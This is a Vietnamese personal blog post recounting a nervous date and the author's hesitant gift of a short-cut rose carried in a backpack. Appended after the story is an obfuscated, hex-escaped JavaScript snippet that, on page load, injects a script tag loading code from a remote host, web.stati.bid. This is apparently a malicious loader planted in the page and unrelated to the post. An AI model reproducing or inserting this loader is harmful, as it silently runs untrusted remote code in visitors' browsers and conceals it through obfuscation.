Suy ngẫm

Bông hồng cắt ngắn

bông hồng cắt ngắn

– “Anh cắt ngắn giúp em, cỡ này đi”
– “Ngắn vậy cơ à” – anh chủ cửa hàng hoa hỏi lại
– “Vâng, để cho vừa ba lô ạ”

Cái ý tưởng này nó tự nhiên lóe lên trong đầu từ khi hẹn được pj.
Vậy là bông hoa hồng ngắn độ gang tay, bọc trong giấy báo, nằm gọn trong ba lô, phi xe về nhà kịp thay cái áo, rồi tiến đến nhà pj.
Một buổi hẹn hò nguy trang dưới 1 buổi gặp mặt tư vấn công việc đã được lên kế hoạch 1 cách tình cờ 2 hôm trước đó.
“Thu cuối rồi, năm sau chưa chắc cậu đã ở Hà Nội mà” – nhớ là 1 lần nào đó mình nói vậy khi chat về những dự định tương lai.

Trong lòng có chút lo lắng nhưng vẫn bình tĩnh lạ thường. Băng qua quãng đường cả chục cây số, lại còn được anh google maps chỉ sai đường, sau 1 loạt hỏi đường, từ bác bảo vệ, anh uống trà đá, anh đi wc thiên nhiên và cô đồng nát, cuối cùng cũng tìm đến khu vực mà pj hẹn trước.
– “Tớ đến nơi rồi, nhà cậu số bao nhiêu?”
– “Chỗ này không có số nhà cậu ơi, c cứ đến trường KS đi, t đang đứng ở ngoài rồi”

1 cái trường KS mà có đến 4 cái bảng chỉ đường tính từ ngoài đường lớn, vòng vèo ghê. Hỏi thêm 1 bác đang dựng xe cạnh đường thì cũng tìm được đến nới, pj mặc váy (mình đoán nó là váy :v) đứng đó. Đường tối om nhưng cũng đủ để nhận ra.

Vẫn bình tĩnh lạ. Nụ cười vẫn cuốn hút như mọi khi.

Đi 1 đoạn dài thì cũng tìm đc ví trí cái quán cafe mà mình google trước đó. Gửi xe xong thì lại thấy cái quán cafe bánh ngọt ngay ở tầng 1 trông cũng ổn ổn, nên vào ngồi luôn mới biết là có thể để xe ngay ở ngoài đường.

Dự là tối nay sẽ cần chém gió về cách viết CV nhưng mà thực sự lúc đó bao logic trong đầu chả rõ đi đâu hết rồi. Chỉ ngồi liếc trộm cả buổi.

Vẫn bình tĩnh lạ. Nụ cười và giọng nói vẫn làm mình có chút ấp úng nhưng tỏ ra lưu loát như mọi khi.

Hơn 10h, phải về rồi, ko muộn.

Đi ra lấy xe, đèn đường vàng ấm, gió nhẹ, đi bên nhau chỉ vài chục mét, thấy không khí dễ chịu lạ thường.

Vẫn bình tĩnh lạ. Bông hồng vẫn nằm trong ba lô.

Chạy xe trên đường, chỉ còn vài phút nữa là hết buổi tối hôm nay rồi à, bông hồng tính sao đây.

Nhịp tim tăng nhẹ. Bông hồng vẫn trong ba lô, ý nghĩ “mang hoa về” vụt qua đầu và ngay lập tức bị kéo xuống, ném cái bẹp sang cái dài cột trụ giữa đường Quang Trung. (cột trụ để xây đường trên cao)

*miệng lẩm bẩm lời bài “chuyện lạ” ~ để nghe, nghe chuyện lạ ~
Ơ thế là về đến cửa nhà pj rồi, nhanh vậy sao, em đứng chờ lấy laptop từ ba lô. Nhịp tim tăng nhẹ. “Bông hồng tính sao?”. Luống cuống lấy lap ra đưa cho pj.
“Cậu về nhé” – người đã đi về phía cửa. Tay luống cuống lôi bông hồng quấn giấy báo ra. Nhịp tim tăng nhẹ. Tay luống cuống, ko biết mở giấy báo kiểu gì. 1 giây lúng tung, xé tọac giấy báo lôi bông hồng ra.
– “Ơ, tớ bảo!!”
– *quay lại*
– *miệng cười lạ, tay chìa ra bông hồng* – không nhớ là mình có nói gì lúc đó nữa “tặng cậu” hay là ko nói gì, ko nhớ lắm.
– “Ơ, sao cậu lại tặng hoa tớ” *miệng cười ngạc nhiên*
– “Hì” rồi nói gì chả nhớ, chỉ biết là phi xe về.
Vui lạ.

bông hồng cắt ngắn
Bông hồng cắt ngắn
var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Comments

comments

Powered by Facebook Comments